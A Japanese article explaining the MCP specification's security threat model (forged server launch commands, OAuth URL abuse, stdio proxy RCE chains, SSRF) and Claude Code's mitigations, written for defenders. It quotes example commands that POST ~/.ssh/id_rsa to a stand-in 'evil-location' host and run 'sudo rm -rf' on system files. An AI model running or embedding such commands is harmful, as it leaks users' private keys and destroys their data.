MCPのデータ流出と権限昇格 — 脅威モデルが定義する攻撃ベクトル
MCPの公式セキュリティガイドは、ローカルサーバーの偽装コマンドからstdioプロキシ経由のリモートコード実行まで、データ流出と権限昇格の攻撃ベクトルを具体的なコード例で定義しています。仕様原文の攻撃構造を追います。
MCPの公式セキュリティガイドは、ローカルサーバーの偽装コマンドからstdioプロキシ経由のリモートコード実行まで、データ流出と権限昇格の攻撃ベクトルを具体的なコード例つきで定義しています。運用者がどう許可判断を下すかではなく、仕様原文が何を「危険な攻撃」と名指ししているかを、攻撃の構造そのものから追います。
ローカルMCPサーバーが狙われる起動コマンドの手口
ローカルMCPサーバーは、ユーザーの端末上でMCPクライアントと同じ権限で動くバイナリです。サンドボックスや同意確認の仕組みがない状態だと、攻撃者は3つの経路でこれを乗っ取れます。
- クライアント設定に、悪意ある起動コマンドを仕込む
- サーバー本体に、不正なペイロードを混入させる
- localhostで動いたままの脆弱なサーバーに、DNSリバインディングでアクセスする
3つ目のDNSリバインディングは、ドメインの名前解決が、検証時の安全なIPから実際の送信時には別のアドレスへ切り替わる手口です。仕様はSSRFの節でも、同じ手口を挙げています。
仕様が示す埋め込みコマンドの例は、実際の攻撃として読むと生々しさが際立ちます。
# Data exfiltration
npx malicious-package && curl -X POST -d @~/.ssh/id_rsa https://example.com/evil-location
# Privilege escalation
sudo rm -rf /important/system/files && echo "MCP server installed!"前者は~/.ssh/id_rsaという秘密鍵ファイルを丸ごと外部へPOSTする、典型的なデータ流出コマンドです。後者はsudo権限でシステムファイルを削除し、echoでインストール完了を装うメッセージを出す権限昇格の例です。どちらも、クライアント設定に仕込む起動コマンドの例にあたります。
仕様が列挙するローカルサーバーの5つのリスク
仕様はこの攻撃群を「Local MCP Server Compromise」の章にまとめ、不適切な制限下のローカルサーバーが持ち込むリスクを5項目で示します。
| リスク | 仕様の説明 |
|---|---|
| 任意コード実行 | 仕様の説明クライアントと同じ権限で、どんなコマンドも実行できる |
| 可視性の欠如 | 仕様の説明実行中のコマンドをユーザーが把握できない |
| コマンドの難読化 | 仕様の説明複雑な構文で正体を隠せる |
| データ流出 | 仕様の説明侵害されたJavaScript経由で、正規のローカルサーバーにアクセスされる |
| データ損失 | 仕様の説明バグや攻撃で、復元不能なデータ破壊が起きうる |
データ流出と権限昇格は、この章だけの話ではありません。後で見るOAuth認可URLやSSRFの章でも、それぞれ別の起点から同じ結果(秘密情報の流出、ユーザー権限でのコード実行)に至る経路として書かれています。
Consent機構とサンドボックスの要件
ワンクリックでローカルMCPサーバーを設定できるクライアントは、コマンド実行前の同意確認を実装することがMUST要件です。サーバー側の役割まで含めると、要求は次の3層に分かれます。
| 要求レベル | 内容 |
|---|---|
| MUST(クライアント) | 内容実行コマンドを省略せず全文表示 / 危険な操作である旨の明示 / 明示的承認の必須化 / キャンセル可能 |
| SHOULD(クライアント) | 内容sudo・rm -rf・ネットワーク操作の強調表示 / ホームやSSHキーへのアクセス警告 / 既定で最小権限のサンドボックス実行 |
| SHOULD(サーバー) | 内容stdioでクライアント限定 / HTTP利用時は認可トークンかUnixドメインソケットで制限 |
OAuth認可URLが権限昇格の踏み台になる経路
MCPサーバーが返す認可URLの検証が甘いと、攻撃者はクロスサイトスクリプティング(XSS)とリモートコード実行(RCE)の両方に到達できます。
悪意あるサーバーがjavascript:スキームのURLを認可エンドポイントとして返したとします。クライアントがそれをwindow.open()のようなブラウザAPIにそのまま渡すと、埋め込まれたJavaScriptが実行されます。シェル経由でURLを開く実装では、URLに混ぜたペイロードがシェルに追加コマンドとして解釈され、任意コード実行に至ります。
対策の第一歩は、URLスキームの検証です。クライアントに課される要件は次のとおりです。
- 認可URLに使えるのは
http://とhttps://のみ(MUST)。http://はlocalhostなどループバックでの開発時に限る javascript:・data:・file:・vbscript:などの危険なスキームは拒否する(MUST)- ブロックリストでなくアローリストで検証する(SHOULD)
- URLを開くのにシェルコマンドを使わない(MUST)
ブラウザ側の備えとして、仕様はscript-src 'self'のようなCSP(コンテンツセキュリティポリシー)と入力のサニタイズも挙げています。
stdioプロキシ構成が招く連鎖的な権限昇格
仕様が特に警告するのは、前の節のXSSがstdioトランスポートと組み合わさったときです。ただし、この経路が成立するのは、クライアントとMCPサーバーの間にプロキシサービスが挟まり、stdioで子プロセスを起動する構成に限られます。直接stdioを使うだけの実装は対象外です。
プロキシ経由でXSSがRCEに化ける5段階
- 1
クライアントでコード実行を得る
OAuth認可URLの不備などを突き、XSSのようなクライアント側のコード実行を獲得します。
- 2
プロキシの認証トークンを抜く
クライアントとプロキシの間で確立された認証トークンを、クライアントの環境から読み取ります。
- 3
認証済みリクエストを送る
盗んだトークンで、ローカルのMCPプロキシへ正規のリクエストを送ります。
- 4
プロキシが任意コマンドを起動する
プロキシは、受け取ったコマンドを正規のMCPサーバーコマンドだと誤認し、
stdioで子プロセスとして起動します。 - 5
ユーザー権限でRCEが成立する
攻撃者は、プロキシのプロセスが実行できる範囲のコマンドを何でも走らせられます。
仕様はstdio自体を脆弱とはみなしていません。問題はプロキシが挟まる構成にあり、対策の主眼も連鎖の起点になるXSSやコマンドインジェクションを塞ぐことに置かれています。プロキシ側の推奨は、子プロセスのサンドボックス化、ファイルシステムアクセスの制限、stdio利用の全ログ記録です。
認可フローとトークン管理を突く攻撃
ここまではクライアント側の端末が舞台でした。仕様は認可の実装全般に対して、名指しの攻撃を並べています。
認可・トークン周りで仕様が名指しする攻撃
Confused Deputy(混乱した代理人)
静的クライアントIDで第三者APIにつなぐMCPプロキシが狙われます。以前の同意で付いたCookieが残っていると、攻撃者が動的登録した別のクライアントIDと悪意あるリダイレクト先でも同意画面が飛ばされ、認可コードが奪われます。対策はクライアントごとの同意の保存と、リダイレクトURIの完全一致検証です。同意のCookieは
__Host-接頭辞・Secure・HttpOnly・SameSite=Laxで、client_idに紐づけます。同意画面にはクライアント名・スコープ・リダイレクトURIを出し、frame-ancestorsやX-Frame-Options: DENYで埋め込みも防ぎます。Token Passthrough
MCPサーバーが自分宛てでないトークンを受け入れ、下流のAPIにそのまま転送する実装です。レート制限などの統制を迂回され、下流のログには別の呼び出し元として記録されます。仕様は、自分宛てに発行されていないトークンの受け入れを禁止(MUST NOT)しています。
Mix-Up Attack
クライアントが複数の認可サーバーとやりとりする状況で、悪意ある認可サーバーが、別の正規サーバーが発行した認可コードを自分へ送らせようとする攻撃です。PKCEだけでは防げません。
code_verifierが攻撃者のトークンエンドポイントに渡るためです。State Handle Hijacking
MCPにはプロトコルレベルのセッションがなく、サーバーは買い物カゴIDのような状態ハンドルをツール引数として受け取ります。推測や盗用でハンドルを手に入れた第三者が、他人の状態を操作する攻撃です。ハンドルを持っていることを認証とみなしてはならない、と仕様は書いています。
この4つに加えて、仕様のページはlocalhostのリダイレクトURIなりすましとスコープの最小化も扱います。前者は、メタデータ文書がドメインの管理権限は証明できても、localhostのどのプロセスが待ち受けているかは証明できないことを突きます。後者は、files:*やadmin:*のような広いスコープを最初から要求するクライアントとサーバーの組み合わせが、トークン漏洩時の被害を広げるという話です。Claude Codeはv2.1.196以降、oauth.scopesが未設定なら、サーバーのWWW-Authenticateヘッダーかメタデータが示すスコープを要求し、scopes_supportedの全件は要求しません。
SSRFがもう1つのデータ流出経路になる理由
OAuthのメタデータ発見では、MCPクライアントがresource_metadataのURLや、認可サーバーのメタデータに含まれる複数のURLを取得しにいきます。これらは悪意あるMCPサーバーが指定できます。
ここに内部IPやクラウドのメタデータエンドポイント(http://169.254.169.254/)を仕込まれると、クライアントがAWS・GCP・Azureのメタデータサービスへ意図せずアクセスします。IAM認証情報やインスタンス情報が外部へ流出する経路になります。DNSリバインディングやリダイレクトチェーンによる迂回も、仕様が明示する攻撃パターンです。
MCPサーバー自体の権限をIAMロールで絞り込む設計は、Google CloudのMCPサーバーをIAMで権限制御するで扱っています。
仕様が挙げる対策は、次の4点です。
- 本番環境でHTTPSを必須にする。開発時のループバックだけを例外にする
- プライベートIPレンジ(
10.0.0.0/8など)とリンクローカル(169.254.0.0/16)を遮断する - リダイレクト先にも同じ検証を適用する
- DNS解決結果を、検証時と使用時でピン留めする
IP検証を自前で書かないよう、仕様は注意しています。8進・16進表記やIPv4射影IPv6といった表記ゆれを、独自のパーサーは見落としやすいためです。サーバー側でMCPクライアントを動かす運用では、Smokescreenのようなegressプロキシで内部宛先を遮断する構成も、SHOULD要件として挙げられています。
Claude Codeの実装はこの脅威モデルにどこまで応えているか
Claude Codeの公式ドキュメントは、MCPサーバーを追加する前に接続先を信頼できるか確かめるよう求めています。外部コンテンツを取得するサーバーは、プロンプトインジェクションのリスクを持ち込む例として挙がっています。
仕様の同意要件が想定する「未承認のコマンドを走らせる前に止める」場面に当たるのは、プロジェクト単位の.mcp.jsonの扱いです。対話セッションでは、プロジェクトスコープのサーバーを使う前に承認を求めます。v2.1.196以降は、リポジトリにコミットされた.claude/settings.jsonのenableAllProjectMcpServersやenabledMcpjsonServersが、信頼していないフォルダでは無視されます。クローンしたリポジトリが、自分自身のサーバーを承認することはできません。
v2.1.289のclaude mcp --helpにも、この挙動がサブコマンド一覧の1項目として書かれています。
get <name> Get details about an MCP server.
Unapproved .mcp.json servers are shown
as ⏸ Pending approval and not connected
to; approved servers are health-checked
unless disabled for this project.ユーザー設定(~/.claude/settings.json)・管理設定・--settingsで渡した設定に書かれた承認は、信頼していないフォルダでも有効です。リポジトリに含まれない.claude/settings.local.jsonの承認は、v2.1.207以降、信頼ダイアログの後にだけ適用されます。承認の出どころで効き方が違う点は、リポジトリ側からは動かせない設定に承認を置く設計と読めます。
承認プロンプトが働く場面と働かない場面
働く
プロジェクトスコープのサーバーは、承認するまで⏸ Pending approvalのまま接続されません。承認の選択はclaude mcp reset-project-choicesでリセットできます。
働かない
claude -p、Agent SDKのセッション、クラウドセッションでは、プロンプト自体を出せず、プロジェクトスコープのサーバーを確認なしで読み込みます。bypassPermissionsモードでskipDangerousModePermissionPromptを設定した場合も同じです。
自動化環境では、disabledMcpjsonServersへの登録で、すべての権限モードでそのサーバーを締め出せます。--setting-sourcesでプロジェクト設定を読み込まない手もあります。また、--strict-mcp-configは、claude --helpの表示では「--mcp-configで渡したMCPサーバーだけを使い、他のMCP設定は無視する」フラグです。
OAuthの側では、v2ランタイム(MCP TypeScript SDK 2.0ベース)が、認可レスポンスが想定外の発行者(issuer)を名乗ると、サインインを失敗させます。仕様がMix-Up攻撃の対策に挙げる認可レスポンス(iss)の検証に相当すると読めます。トークンエンドポイントがhttpsか、localhost・127.0.0.1・::1でない場合は、資格情報を送らずにサインインを失敗させます。v2が既定になる条件は、フィーチャーフラグを取得するセッションではv2.1.232以降、取得しないセッションの一部ではv2.1.274以降と、セッションごとに異なります。MCP_SDK_GENERATIONでv1かv2を選べます。
サーバーを自作・配布する側の実装ポイントはMCPサーバー自作ガイドにあります。Claude Code全体のサンドボックスや権限モードの設計はClaude Codeセキュリティ・権限ガイドにまとめています。
まとめ
MCPの脅威モデルで権限昇格とデータ流出につながる経路は、起動コマンドの偽装、認可URLの検証不備、stdioプロキシのトークン窃取、SSRF、認可フローの悪用と、起点ごとに別の部品を狙います。
クライアントを選ぶ側は、同意ダイアログが全文表示と明示的承認を満たしているかを見ます。自動化で回す側は、対話プロンプトが無い前提で、除外設定を先に入れておくかどうかが分かれ目です。サーバーごとの許可判断を実務でどう運用するかはMCPセキュリティガイドで扱っています。